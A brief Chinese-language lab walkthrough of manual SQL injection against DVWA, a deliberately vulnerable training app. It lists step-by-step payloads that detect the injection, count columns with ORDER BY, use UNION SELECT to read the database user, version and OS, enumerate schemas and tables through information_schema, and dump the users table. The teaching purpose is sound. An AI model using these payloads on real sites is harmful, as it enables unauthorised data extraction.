DVWA之php+mysql手工注入
DVWA 頁面
輸入user ID ,輸入 1。看到如下資訊
在此點嘗試注入,輸入‘ ’ ’,判斷其注入型別。
初步判斷是數字型注入,在輸入 " 1 or 1=1 ",嘗試遍歷資料表
判斷字元型:" 1’ or ‘1’='1 "
利用 order by num 來測試查詢表的列, 輸入: " 1’ order by 1 – "(–後有空格)或者 " 1’ order by 1 ## "
當為2時正確顯示,為3時錯誤,我們判斷有2列
在mysql中
user ( ) : 當前登陸的使用者 database ( ) : 當前資料庫名 version ( ): 資料庫版本
用union聯合查詢,查詢其資訊。注入語法: " 1’ and 1=2 union select user(), database() – "(–後有空格)
用SQL中的全域性變數 " @@global.version_compile_os "來獲得作業系統的資訊
查詢mysql資料庫所有的資料庫名字。語法: " 1’ and 1=1 union select 1,schema_name from information_schema.schemata – "
輸出所有表名 " 1’ union select null,group_concat(table_name) from information_schema.tables where table_schema=‘dvwa’ # "
然後通過手工注入猜解dvwa資料庫表名,語法: " 1’ and exists(select * from users) – "
再猜解欄位名,語法: " 1’ and exists(select first_name from users) – "
嘗試顯示這兩個欄位的內容,語法:" 1 ’ and 1=1 union select first_name,last_name from users – "